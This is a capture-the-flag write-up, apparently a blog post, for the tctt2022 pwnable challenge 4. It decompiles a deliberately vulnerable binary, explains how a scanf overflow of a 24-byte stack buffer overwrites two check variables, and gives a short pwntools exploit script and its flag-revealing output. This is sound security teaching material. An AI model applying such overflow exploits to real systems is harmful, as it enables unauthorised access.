[tctt2022] pwnable 04

This is part 4 for pwnable writeup.

The binary for this challenge will ask whether the binary wish is C0FFEE or CAFE :

./challenge 
My wish is having a C0FFEE in a CAFE.
What is YOURS? C0FFEE
Yes, my wishes (c0ffee, cafe) come true.
I'm feeling bad, coz I cannot grant you your wish

Let’s decompile the binary:

void main(void)
{
  undefined local_28 [24];
  uint local_10;
  uint local_c;
  
  local_c = 0xc0ffee;
  local_10 = 0xcafe;
  printf("My wish is having a %X in a %X.\nWhat is YOURS? ",0xc0ffee,0xcafe);
  __isoc99_scanf(&DAT_00102038,local_28);
  if ((local_c == 0xbe91ce) && (local_10 == 0xf3eebee3)) {
    printf("Yes, my wish of having a %x would %x.\n",0xf3eebee3,0xbe91ce);
    system("cat SECRET.txt");
    return;
  }
  printf("Yes, my wishes (%x, %x) come true.\n",(ulong)local_c,(ulong)local_10);
  puts("I\'m feeling bad, coz I cannot grant you your wish");
                    /* WARNING: Subroutine does not return */
  exit(0x539);
}

So, it reads a value and check if local_10 and local_c change to 0xf3eebee3 and 0xbe91ce respectively.
Our input will be on array of 24 bytes and the local_c and local_10 are 4 bytes each.
The layout are:

local_28 [24 bytes]
local_c [00000000]
local_10  [00000000]

but the expected input is:

local_28 [24 bytes]
local_c [0x00be91ce]
local_10  [0xf3eebee3]

To overwrite them, we need to fill a junk for 24 bytes first. Then, we supply 0x00be91cef3eebee3 altogether.
Let’s write an exploit:

from pwn import *
context.binary = './challenge'
payload = flat({24:0x00be91cef3eebee3})                                                                                                                                                                                      
with open('exploit.txt','wb') as f:                                                                                                                                                                                
    f.write(payload)

For pwntools, flat will automatically flatten the input for us.

Get Fnnnr’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

In case of dict, it will uses the key as the offset and value as what to be written at that offset.

The value before offset 24 is a filler, which is generated by pwntools

See: https://docs.pwntools.com/en/stable/util/packing.html
Let’s run the exploit:

./challenge < exploit.txt             
My wish is having a C0FFEE in a CAFE.
What is YOURS? Yes, my wish of having a f3eebee3 would be91ce.
tctt2022{REDACTED}

We got the flag!